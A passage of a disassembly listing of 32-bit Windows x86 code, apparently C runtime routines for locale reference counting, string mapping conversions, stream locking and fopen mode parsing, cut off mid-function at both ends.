16h jmp short loc_41325B ; --------------------------------------------------------------------------- loc_413257: ; CODE XREF: sub_4130CA+30j and [ebp+var_20], 0 loc_41325B: ; CODE XREF: sub_4130CA+45j ; sub_4130CA+A1j ... mov eax, [ebp+var_20] call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_4130CA ; =============== S U B R O U T I N E ======================================= sub_413264 proc near ; CODE XREF: sub_41547E+Cp ; sub_4154DB+Dp ... cmp dword_42601C, 0 jnz short loc_41327F push 0FFFFFFFDh call sub_4130CA pop ecx mov dword_42601C, 1 loc_41327F: ; CODE XREF: sub_413264+7j xor eax, eax retn sub_413264 endp ; =============== S U B R O U T I N E ======================================= sub_413282 proc near ; CODE XREF: sub_412015+E8p ; sub_4134D4+31p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] mov eax, [esi+0BCh] xor ebp, ebp cmp eax, ebp push edi jz short loc_413305 cmp eax, offset off_423ED8 jz short loc_413305 mov eax, [esi+0B0h] cmp eax, ebp jz short loc_413305 cmp [eax], ebp jnz short loc_413305 mov eax, [esi+0B8h] cmp eax, ebp jz short loc_4132CC cmp [eax], ebp jnz short loc_4132CC push eax call sub_41112C push dword ptr [esi+0BCh] call sub_418816 pop ecx pop ecx loc_4132CC: ; CODE XREF: sub_413282+31j ; sub_413282+35j mov eax, [esi+0B4h] cmp eax, ebp jz short loc_4132ED cmp [eax], ebp jnz short loc_4132ED push eax call sub_41112C push dword ptr [esi+0BCh] call sub_4187D6 pop ecx pop ecx loc_4132ED: ; CODE XREF: sub_413282+52j ; sub_413282+56j push dword ptr [esi+0B0h] call sub_41112C push dword ptr [esi+0BCh] call sub_41112C pop ecx pop ecx loc_413305: ; CODE XREF: sub_413282+12j ; sub_413282+19j ... mov eax, [esi+0C0h] cmp eax, ebp jz short loc_413353 cmp [eax], ebp jnz short loc_413353 mov eax, [esi+0C4h] sub eax, 0FEh push eax call sub_41112C mov eax, [esi+0CCh] mov edi, 80h sub eax, edi push eax call sub_41112C mov eax, [esi+0D0h] sub eax, edi push eax call sub_41112C push dword ptr [esi+0C0h] call sub_41112C add esp, 10h loc_413353: ; CODE XREF: sub_413282+8Bj ; sub_413282+8Fj lea edi, [esi+0D4h] mov eax, [edi] cmp eax, offset off_423E18 jz short loc_413379 cmp [eax+0B4h], ebp jnz short loc_413379 push eax call sub_418646 push dword ptr [edi] call sub_41112C pop ecx pop ecx loc_413379: ; CODE XREF: sub_413282+DEj ; sub_413282+E6j push 6 lea edi, [esi+50h] pop ebx loc_41337F: ; CODE XREF: sub_413282+132j cmp dword ptr [edi-8], offset dword_4237B0 jz short loc_413399 mov eax, [edi] cmp eax, ebp jz short loc_413399 cmp [eax], ebp jnz short loc_413399 push eax call sub_41112C pop ecx loc_413399: ; CODE XREF: sub_413282+104j ; sub_413282+10Aj ... cmp [edi-4], ebp jz short loc_4133B0 mov eax, [edi+4] cmp eax, ebp jz short loc_4133B0 cmp [eax], ebp jnz short loc_4133B0 push eax call sub_41112C pop ecx loc_4133B0: ; CODE XREF: sub_413282+11Aj ; sub_413282+121j ... add edi, 10h dec ebx jnz short loc_41337F push esi call sub_41112C pop ecx pop edi pop esi pop ebp pop ebx retn sub_413282 endp ; =============== S U B R O U T I N E ======================================= sub_4133C2 proc near ; CODE XREF: sub_411EC6+93p ; sub_4134D4+12p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, dword_41C150 push esi call edi ; InterlockedIncrement mov eax, [esi+0B0h] test eax, eax jz short loc_4133E0 push eax call edi ; InterlockedIncrement loc_4133E0: ; CODE XREF: sub_4133C2+19j mov eax, [esi+0B8h] test eax, eax jz short loc_4133ED push eax call edi ; InterlockedIncrement loc_4133ED: ; CODE XREF: sub_4133C2+26j mov eax, [esi+0B4h] test eax, eax jz short loc_4133FA push eax call edi ; InterlockedIncrement loc_4133FA: ; CODE XREF: sub_4133C2+33j mov eax, [esi+0C0h] test eax, eax jz short loc_413407 push eax call edi ; InterlockedIncrement loc_413407: ; CODE XREF: sub_4133C2+40j push 6 lea ebx, [esi+50h] pop ebp loc_41340D: ; CODE XREF: sub_4133C2+71j cmp dword ptr [ebx-8], offset dword_4237B0 jz short loc_41341F mov eax, [ebx] test eax, eax jz short loc_41341F push eax call edi ; InterlockedIncrement loc_41341F: ; CODE XREF: sub_4133C2+52j ; sub_4133C2+58j cmp dword ptr [ebx-4], 0 jz short loc_41342F mov eax, [ebx+4] test eax, eax jz short loc_41342F push eax call edi ; InterlockedIncrement loc_41342F: ; CODE XREF: sub_4133C2+61j ; sub_4133C2+68j add ebx, 10h dec ebp jnz short loc_41340D mov eax, [esi+0D4h] add eax, 0B4h push eax call edi ; InterlockedIncrement pop edi pop esi pop ebp pop ebx retn sub_4133C2 endp ; =============== S U B R O U T I N E ======================================= sub_413448 proc near ; CODE XREF: sub_412015+CCp ; sub_4134D4+1Dp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4134D0 push ebx push ebp push edi mov edi, dword_41C158 push esi call edi ; InterlockedDecrement mov eax, [esi+0B0h] test eax, eax jz short loc_41346A push eax call edi ; InterlockedDecrement loc_41346A: ; CODE XREF: sub_413448+1Dj mov eax, [esi+0B8h] test eax, eax jz short loc_413477 push eax call edi ; InterlockedDecrement loc_413477: ; CODE XREF: sub_413448+2Aj mov eax, [esi+0B4h] test eax, eax jz short loc_413484 push eax call edi ; InterlockedDecrement loc_413484: ; CODE XREF: sub_413448+37j mov eax, [esi+0C0h] test eax, eax jz short loc_413491 push eax call edi ; InterlockedDecrement loc_413491: ; CODE XREF: sub_413448+44j push 6 lea ebx, [esi+50h] pop ebp loc_413497: ; CODE XREF: sub_413448+75j cmp dword ptr [ebx-8], offset dword_4237B0 jz short loc_4134A9 mov eax, [ebx] test eax, eax jz short loc_4134A9 push eax call edi ; InterlockedDecrement loc_4134A9: ; CODE XREF: sub_413448+56j ; sub_413448+5Cj cmp dword ptr [ebx-4], 0 jz short loc_4134B9 mov eax, [ebx+4] test eax, eax jz short loc_4134B9 push eax call edi ; InterlockedDecrement loc_4134B9: ; CODE XREF: sub_413448+65j ; sub_413448+6Cj add ebx, 10h dec ebp jnz short loc_413497 mov eax, [esi+0D4h] add eax, 0B4h push eax call edi ; InterlockedDecrement pop edi pop ebp pop ebx loc_4134D0: ; CODE XREF: sub_413448+7j mov eax, esi pop esi retn sub_413448 endp ; =============== S U B R O U T I N E ======================================= sub_4134D4 proc near ; CODE XREF: sub_413512+54p test edi, edi jz short loc_41350F test eax, eax jz short loc_41350F push esi mov esi, [eax] cmp esi, edi jz short loc_41350B push edi mov [eax], edi call sub_4133C2 test esi, esi pop ecx jz short loc_41350B push esi call sub_413448 cmp dword ptr [esi], 0 pop ecx jnz short loc_41350B cmp esi, offset dword_4237B8 jz short loc_41350B push esi call sub_413282 pop ecx loc_41350B: ; CODE XREF: sub_4134D4+Dj ; sub_4134D4+1Aj ... mov eax, edi pop esi retn ; --------------------------------------------------------------------------- loc_41350F: ; CODE XREF: sub_4134D4+2j ; sub_4134D4+6j xor eax, eax retn sub_4134D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413512 proc near ; CODE XREF: sub_40F7E2+37p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h push 0Ch push offset dword_41FA70 call __SEH_prolog4 call sub_411FFD mov esi, eax mov eax, dword_4237AC test [esi+70h], eax jz short loc_413551 cmp dword ptr [esi+6Ch], 0 jz short loc_413551 call sub_411FFD mov esi, [eax+6Ch] loc_41353D: ; CODE XREF: sub_413512+68j test esi, esi jnz short loc_413549 push 20h call sub_412499 pop ecx loc_413549: ; CODE XREF: sub_413512+2Dj mov eax, esi call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_413551: ; CODE XREF: sub_413512+1Bj ; sub_413512+21j push 0Ch call sub_416DA6 pop ecx and [ebp+ms_exc.disabled], 0 lea eax, [esi+6Ch] mov edi, off_423890 call sub_4134D4 mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41357C jmp short loc_41353D sub_413512 endp ; =============== S U B R O U T I N E ======================================= sub_41357C proc near ; CODE XREF: sub_413512+63p ; DATA XREF: .vty:0041FA88o push 0Ch call sub_416CCE pop ecx mov esi, [ebp-1Ch] retn sub_41357C endp ; =============== S U B R O U T I N E ======================================= sub_413588 proc near ; CODE XREF: sub_4135A3+220p ; sub_4135A3+229p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short locret_4135A2 sub eax, 8 cmp dword ptr [eax], 0DDDDh jnz short locret_4135A2 push eax call sub_41112C pop ecx locret_4135A2: ; CODE XREF: sub_413588+6j ; sub_413588+11j retn sub_413588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135A3 proc near ; CODE XREF: sub_413945+2Cp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 14h mov eax, dword_4231C4 xor eax, ebp mov [ebp+var_4], eax push ebx push esi xor ebx, ebx cmp dword_424448, ebx push edi mov esi, ecx jnz short loc_4135FA push ebx push ebx xor edi, edi inc edi push edi push offset dword_41C81C push 100h push ebx call dword_41C178 ; LCMapStringW test eax, eax jz short loc_4135E5 mov dword_424448, edi jmp short loc_4135FA ; --------------------------------------------------------------------------- loc_4135E5: ; CODE XREF: sub_4135A3+38j call dword_41C0A4 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_4135FA mov dword_424448, 2 loc_4135FA: ; CODE XREF: sub_4135A3+1Dj ; sub_4135A3+40j ... cmp [ebp+arg_C], ebx jle short loc_413621 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_413605: ; CODE XREF: sub_4135A3+6Aj dec ecx cmp [eax], bl jz short loc_413612 inc eax cmp ecx, ebx jnz short loc_413605 or ecx, 0FFFFFFFFh loc_413612: ; CODE XREF: sub_4135A3+65j mov eax, [ebp+arg_C] sub eax, ecx dec eax cmp eax, [ebp+arg_C] jge short loc_41361E inc eax loc_41361E: ; CODE XREF: sub_4135A3+78j mov [ebp+arg_C], eax loc_413621: ; CODE XREF: sub_4135A3+5Aj mov eax, dword_424448 cmp eax, 2 jz loc_4137DA cmp eax, ebx jz loc_4137DA cmp eax, 1 jnz loc_41380B cmp [ebp+arg_18], ebx mov [ebp+var_8], ebx jnz short loc_413650 mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_413650: ; CODE XREF: sub_4135A3+A3j mov esi, dword_41C174 xor eax, eax cmp [ebp+arg_1C], ebx push ebx push ebx push [ebp+arg_C] setnz al push [ebp+arg_8] lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call esi ; MultiByteToWideChar mov edi, eax cmp edi, ebx jz loc_41380B jle short loc_4136C2 push 0FFFFFFE0h xor edx, edx pop eax div edi cmp eax, 2 jb short loc_4136C2 lea eax, [edi+edi+8] cmp eax, 400h ja short loc_4136A9 call sub_418C60 mov eax, esp cmp eax, ebx jz short loc_4136BD mov dword ptr [eax], 0CCCCh jmp short loc_4136BA ; --------------------------------------------------------------------------- loc_4136A9: ; CODE XREF: sub_4135A3+F1j push eax call sub_411069 cmp eax, ebx pop ecx jz short loc_4136BD mov dword ptr [eax], 0DDDDh loc_4136BA: ; CODE XREF: sub_4135A3+104j add eax, 8 loc_4136BD: ; CODE XREF: sub_4135A3+FCj ; sub_4135A3+10Fj mov [ebp+var_C], eax jmp short loc_4136C5 ; --------------------------------------------------------------------------- loc_4136C2: ; CODE XREF: sub_4135A3+DAj ; sub_4135A3+E6j mov [ebp+var_C], ebx loc_4136C5: ; CODE XREF: sub_4135A3+11Dj cmp [ebp+var_C], ebx jz loc_41380B push edi push [ebp+var_C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call esi ; MultiByteToWideChar test eax, eax jz loc_4137C9 mov esi, dword_41C178 push ebx push ebx push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringW mov ecx, eax cmp ecx, ebx mov [ebp+var_8], ecx jz loc_4137C9 test word ptr [ebp+arg_4], 400h jz short loc_413739 cmp [ebp+arg_14], ebx jz loc_4137C9 cmp ecx, [ebp+arg_14] jg loc_4137C9 push [ebp+arg_14] push [ebp+arg_10] push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringW jmp loc_4137C9 ; --------------------------------------------------------------------------- loc_413739: ; CODE XREF: sub_4135A3+16Bj cmp ecx, ebx jle short loc_413782 push 0FFFFFFE0h xor edx, edx pop eax div ecx cmp eax, 2 jb short loc_413782 lea eax, [ecx+ecx+8] cmp eax, 400h ja short loc_41376A call sub_418C60 mov esi, esp cmp esi, ebx jz short loc_4137C9 mov dword ptr [esi], 0CCCCh add esi, 8 jmp short loc_413784 ; --------------------------------------------------------------------------- loc_41376A: ; CODE XREF: sub_4135A3+1AFj push eax call sub_411069 cmp eax, ebx pop ecx jz short loc_41377E mov dword ptr [eax], 0DDDDh add eax, 8 loc_41377E: ; CODE XREF: sub_4135A3+1D0j mov esi, eax jmp short loc_413784 ; --------------------------------------------------------------------------- loc_413782: ; CODE XREF: sub_4135A3+198j ; sub_4135A3+1A4j xor esi, esi loc_413784: ; CODE XREF: sub_4135A3+1C5j ; sub_4135A3+1DDj cmp esi, ebx jz short loc_4137C9 push [ebp+var_8] push esi push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call dword_41C178 ; LCMapStringW test eax, eax jz short loc_4137C2 cmp [ebp+arg_14], ebx push ebx push ebx jnz short loc_4137AB push ebx push ebx jmp short loc_4137B1 ; --------------------------------------------------------------------------- loc_4137AB: ; CODE XREF: sub_4135A3+202j push [ebp+arg_14] push [ebp+arg_10] loc_4137B1: ; CODE XREF: sub_4135A3+206j push [ebp+var_8] push esi push ebx push [ebp+arg_18] call dword_41C170 ; WideCharToMultiByte mov [ebp+var_8], eax loc_4137C2: ; CODE XREF: sub_4135A3+1FBj push esi call sub_413588 pop ecx loc_4137C9: ; CODE XREF: sub_4135A3+13Ej ; sub_4135A3+15Fj ... push [ebp+var_C] call sub_413588 mov eax, [ebp+var_8] pop ecx jmp loc_413933 ; --------------------------------------------------------------------------- loc_4137DA: ; CODE XREF: sub_4135A3+86j ; sub_4135A3+8Ej cmp [ebp+arg_0], ebx mov [ebp+var_C], ebx mov [ebp+var_10], ebx jnz short loc_4137ED mov eax, [esi] mov eax, [eax+14h] mov [ebp+arg_0], eax loc_4137ED: ; CODE XREF: sub_4135A3+240j cmp [ebp+arg_18], ebx jnz short loc_4137FA mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_4137FA: ; CODE XREF: sub_4135A3+24Dj push [ebp+arg_0] call sub_418A60 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jnz short loc_413812 loc_41380B: ; CODE XREF: sub_4135A3+97j ; sub_4135A3+D4j ... xor eax, eax jmp loc_413933 ; --------------------------------------------------------------------------- loc_413812: ; CODE XREF: sub_4135A3+266j cmp eax, [ebp+arg_18] jz loc_4138F6 push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_418AA7 add esp, 18h cmp eax, ebx mov [ebp+var_C], eax jz short loc_41380B mov esi, dword_41C16C push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringA cmp eax, ebx mov [ebp+var_8], eax jnz short loc_413859 loc_413852: ; CODE XREF: sub_4135A3+2D0j ; sub_4135A3+2F9j xor esi, esi jmp loc_413910 ; --------------------------------------------------------------------------- loc_413859: ; CODE XREF: sub_4135A3+2ADj jle short loc_413898 cmp eax, 0FFFFFFE0h ja short loc_413898 add eax, 8 cmp eax, 400h ja short loc_413880 call sub_418C60 mov edi, esp cmp edi, ebx jz short loc_413852 mov dword ptr [edi], 0CCCCh add edi, 8 jmp short loc_41389A ; --------------------------------------------------------------------------- loc_413880: ; CODE XREF: sub_4135A3+2C5j push eax call sub_411069 cmp eax, ebx pop ecx jz short loc_413894 mov dword ptr [eax], 0DDDDh add eax, 8 loc_413894: ; CODE XREF: sub_4135A3+2E6j mov edi, eax jmp short loc_41389A ; --------------------------------------------------------------------------- loc_413898: ; CODE XREF: sub_4135A3:loc_413859j ; sub_4135A3+2BBj xor edi, edi loc_41389A: ; CODE XREF: sub_4135A3+2DBj ; sub_4135A3+2F3j cmp edi, ebx jz short loc_413852 push [ebp+var_8] push ebx push edi call sub_40DD10 add esp, 0Ch push [ebp+var_8] push edi push [ebp+arg_C] push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringA cmp eax, ebx mov [ebp+var_8], eax jnz short loc_4138C8 xor esi, esi jmp short loc_4138ED ; --------------------------------------------------------------------------- loc_4138C8: ; CODE XREF: sub_4135A3+31Fj push [ebp+arg_14] lea eax, [ebp+var_8] push [ebp+arg_10] push eax push edi push [ebp+arg_18] push [ebp+var_14] call sub_418AA7 mov esi, eax mov [ebp+var_10], esi add esp, 18h neg esi sbb esi, esi and esi, [ebp+var_8] loc_4138ED: ; CODE XREF: sub_4135A3+323j push edi call sub_413588 pop ecx jmp short loc_413910 ; --------------------------------------------------------------------------- loc_4138F6: ; CODE XREF: sub_4135A3+272j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_41C16C ; LCMapStringA mov esi, eax loc_413910: ; CODE XREF: sub_4135A3+2B1j ; sub_4135A3+351j cmp [ebp+var_C], ebx jz short loc_41391E push [ebp+var_C] call sub_41112C pop ecx loc_41391E: ; CODE XREF: sub_4135A3+370j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_413931 cmp [ebp+arg_10], eax jz short loc_413931 push eax call sub_41112C pop ecx loc_413931: ; CODE XREF: sub_4135A3+380j ; sub_4135A3+385j mov eax, esi loc_413933: ; CODE XREF: sub_4135A3+232j ; sub_4135A3+26Aj lea esp, [ebp-20h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_410BCD leave retn sub_4135A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413945 proc near ; CODE XREF: sub_40F864+E0p ; sub_412C77+B6p ... var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40F7E2 push [ebp+arg_20] lea ecx, [ebp+var_10] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_4135A3 add esp, 20h cmp [ebp+var_4], 0 jz short locret_413986 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_413986: ; CODE XREF: sub_413945+38j leave retn sub_413945 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413988 proc near ; CODE XREF: sub_40F864+93p ; sub_4113BB+34Dp ... var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40F7E2 movzx eax, [ebp+arg_0] mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, 8000h cmp [ebp+var_4], 0 jz short locret_4139BC mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_4139BC: ; CODE XREF: sub_413988+2Bj leave retn sub_413988 endp ; =============== S U B R O U T I N E ======================================= sub_4139BE proc near ; CODE XREF: sub_41440F+17Dp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_413988 pop ecx pop ecx retn sub_4139BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139CC proc near ; CODE XREF: sub_40F864+32p ; sub_40FF38+26p ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push [ebp+arg_8] lea ecx, [ebp+var_18] call sub_40F7E2 mov ebx, [ebp+arg_0] lea eax, [ebx+1] cmp eax, 100h ja short loc_4139FA mov eax, [ebp+var_18] mov eax, [eax+0C8h] movzx eax, word ptr [eax+ebx*2] jmp short loc_413A6F ; --------------------------------------------------------------------------- loc_4139FA: ; CODE XREF: sub_4139CC+1Dj mov [ebp+arg_0], ebx sar [ebp+arg_0], 8 lea eax, [ebp+var_18] push eax mov eax, [ebp+arg_0] and eax, 0FFh push eax call sub_413988 test eax, eax pop ecx pop ecx jz short loc_413A2B mov al, byte ptr [ebp+arg_0] push 2 mov [ebp+var_8], al mov [ebp+var_7], bl mov [ebp+var_6], 0 pop ecx jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_413A2B: ; CODE XREF: sub_4139CC+4Bj xor ecx, ecx mov [ebp+var_8], bl mov [ebp+var_7], 0 inc ecx loc_413A35: ; CODE XREF: sub_4139CC+5Dj mov eax, [ebp+var_18] push 1 push dword ptr [eax+14h] push dword ptr [eax+4] lea eax, [ebp+var_4] push eax push ecx lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push 1 push eax call sub_418606 add esp, 20h test eax, eax jnz short loc_413A6B cmp [ebp+var_C], al jz short loc_413A67 mov eax, [ebp+var_10] and dword ptr [eax+70h], 0FFFFFFFDh loc_413A67: ; CODE XREF: sub_4139CC+92j xor eax, eax jmp short loc_413A7F ; --------------------------------------------------------------------------- loc_413A6B: ; CODE XREF: sub_4139CC+8Dj movzx eax, [ebp+var_4] loc_413A6F: ; CODE XREF: sub_4139CC+2Cj and eax, [ebp+arg_4] cmp [ebp+var_C], 0 jz short loc_413A7F mov ecx, [ebp+var_10] and dword ptr [ecx+70h], 0FFFFFFFDh loc_413A7F: ; CODE XREF: sub_4139CC+9Dj ; sub_4139CC+AAj pop ebx leave retn sub_4139CC endp ; =============== S U B R O U T I N E ======================================= sub_413A82 proc near ; CODE XREF: sub_4111BA+76p ; sub_4111BA+82p mov eax, offset off_4238A0 retn sub_413A82 endp ; =============== S U B R O U T I N E ======================================= sub_413A88 proc near ; DATA XREF: .vty:0041C238o mov eax, dword_426000 test eax, eax push esi push 14h pop esi jnz short loc_413A9C mov eax, 200h jmp short loc_413AA2 ; --------------------------------------------------------------------------- loc_413A9C: ; CODE XREF: sub_413A88+Bj cmp eax, esi jge short loc_413AA7 mov eax, esi loc_413AA2: ; CODE XREF: sub_413A88+12j mov dword_426000, eax loc_413AA7: ; CODE XREF: sub_413A88+16j push 4 push eax call sub_412363 test eax, eax pop ecx pop ecx mov dword_424FE0, eax jnz short loc_413AD8 push 4 push esi mov dword_426000, esi call sub_412363 test eax, eax pop ecx pop ecx mov dword_424FE0, eax jnz short loc_413AD8 push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_413AD8: ; CODE XREF: sub_413A88+30j ; sub_413A88+49j xor edx, edx mov ecx, offset off_4238A0 jmp short loc_413AE6 ; --------------------------------------------------------------------------- loc_413AE1: ; CODE XREF: sub_413A88+6Dj mov eax, dword_424FE0 loc_413AE6: ; CODE XREF: sub_413A88+57j mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset dword_423B20 jl short loc_413AE1 push 0FFFFFFFEh pop esi xor edx, edx mov ecx, offset dword_4238B0 push edi loc_413B02: ; CODE XREF: sub_413A88+AAj mov edi, edx and edi, 1Fh imul edi, 28h mov eax, edx sar eax, 5 mov eax, dword_424EE0[eax*4] mov eax, [edi+eax] cmp eax, 0FFFFFFFFh jz short loc_413B26 cmp eax, esi jz short loc_413B26 test eax, eax jnz short loc_413B28 loc_413B26: ; CODE XREF: sub_413A88+94j ; sub_413A88+98j mov [ecx], esi loc_413B28: ; CODE XREF: sub_413A88+9Cj add ecx, 20h inc edx cmp ecx, offset dword_423910 jl short loc_413B02 pop edi xor eax, eax pop esi retn sub_413A88 endp ; =============== S U B R O U T I N E ======================================= sub_413B39 proc near ; DATA XREF: .vty:0041C250o call sub_414C5C cmp byte_4243F0, 0 jz short loc_413B4C call sub_418C8C loc_413B4C: ; CODE XREF: sub_413B39+Cj push dword_424FE0 call sub_41112C pop ecx retn sub_413B39 endp ; =============== S U B R O U T I N E ======================================= sub_413B59 proc near ; CODE XREF: sub_40FC7C+4Ep ; sub_40FD7C+50p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_4238A0 cmp eax, ecx jb short loc_413B7D cmp eax, offset dword_423B00 ja short loc_413B7D sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_416DA6 pop ecx retn ; --------------------------------------------------------------------------- loc_413B7D: ; CODE XREF: sub_413B59+Bj ; sub_413B59+12j add eax, 20h push eax call dword_41C070 ; RtlEnterCriticalSection retn sub_413B59 endp ; =============== S U B R O U T I N E ======================================= sub_413B88 proc near ; CODE XREF: sub_413E9F+66p ; sub_414B82+46p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_413B9C add eax, 10h push eax call sub_416DA6 pop ecx retn ; --------------------------------------------------------------------------- loc_413B9C: ; CODE XREF: sub_413B88+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_41C070 ; RtlEnterCriticalSection retn sub_413B88 endp ; =============== S U B R O U T I N E ======================================= sub_413BAB proc near ; CODE XREF: sub_40FA5C+3p ; sub_40FCFF+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_4238A0 cmp eax, ecx jb short loc_413BCF cmp eax, offset dword_423B00 ja short loc_413BCF sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_416CCE pop ecx retn ; --------------------------------------------------------------------------- loc_413BCF: ; CODE XREF: sub_413BAB+Bj ; sub_413BAB+12j add eax, 20h push eax call dword_41C06C ; RtlLeaveCriticalSection retn sub_413BAB endp ; =============== S U B R O U T I N E ======================================= sub_413BDA proc near ; CODE XREF: sub_413E9F+7Dp ; sub_414C24+9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_413BEE add eax, 10h push eax call sub_416CCE pop ecx retn ; --------------------------------------------------------------------------- loc_413BEE: ; CODE XREF: sub_413BDA+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_41C06C ; RtlLeaveCriticalSection retn sub_413BDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413BFD proc near ; CODE XREF: sub_40F9A2+9Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h mov eax, dword_424D74 push ebx xor ebx, ebx push esi mov esi, [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+var_C], ebx mov [ebp+var_8], ebx mov [ebp+var_10], ebx jmp short loc_413C1E ; --------------------------------------------------------------------------- loc_413C1D: ; CODE XREF: sub_413BFD+24j inc esi loc_413C1E: ; CODE XREF: sub_413BFD+1Ej cmp byte ptr [esi], 20h jz short loc_413C1D mov al, [esi] cmp al, 61h jz short loc_413C62 cmp al, 72h jz short loc_413C59 cmp al, 77h jz short loc_413C50 call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h xor eax, eax jmp loc_413E9B ; --------------------------------------------------------------------------- loc_413C50: ; CODE XREF: sub_413BFD+32j mov [ebp+arg_4], 301h jmp short loc_413C69 ; --------------------------------------------------------------------------- loc_413C59: ; CODE XREF: sub_413BFD+2Ej or [ebp+var_4], 1 mov [ebp+arg_4], ebx jmp short loc_413C6D ; --------------------------------------------------------------------------- loc_413C62: ; CODE XREF: sub_413BFD+2Aj mov [ebp+arg_4], 109h loc_413C69: ; CODE XREF: sub_413BFD+5Aj or [ebp+var_4], 2 loc_413C6D: ; CODE XREF: sub_413BFD+63j xor ecx, ecx inc ecx inc esi mov al, [esi] cmp al, bl push edi jz loc_413E35 mov edx, 80h mov edi, 4000h loc_413C86: ; CODE XREF: sub_413BFD+1B6j cmp ecx, ebx jz loc_413DB9 movsx eax, al cmp eax, 53h jg loc_413D3C jz loc_413D2A sub eax, 20h jz loc_413DAE sub eax, 0Bh jz short loc_413D04 dec eax jz short loc_413CF8 sub eax, 18h jz short loc_413CE5 sub eax, 0Ah jz short loc_413CDD sub eax, 4 jnz loc_413E3E cmp [ebp+var_8], ebx jnz loc_413DA3 or [ebp+arg_4], 10h mov [ebp+var_8], 1 jmp loc_413DAE ; --------------------------------------------------------------------------- loc_413CDD: ; CODE XREF: sub_413BFD+BCj or [ebp+arg_4], edx jmp loc_413DAE ; 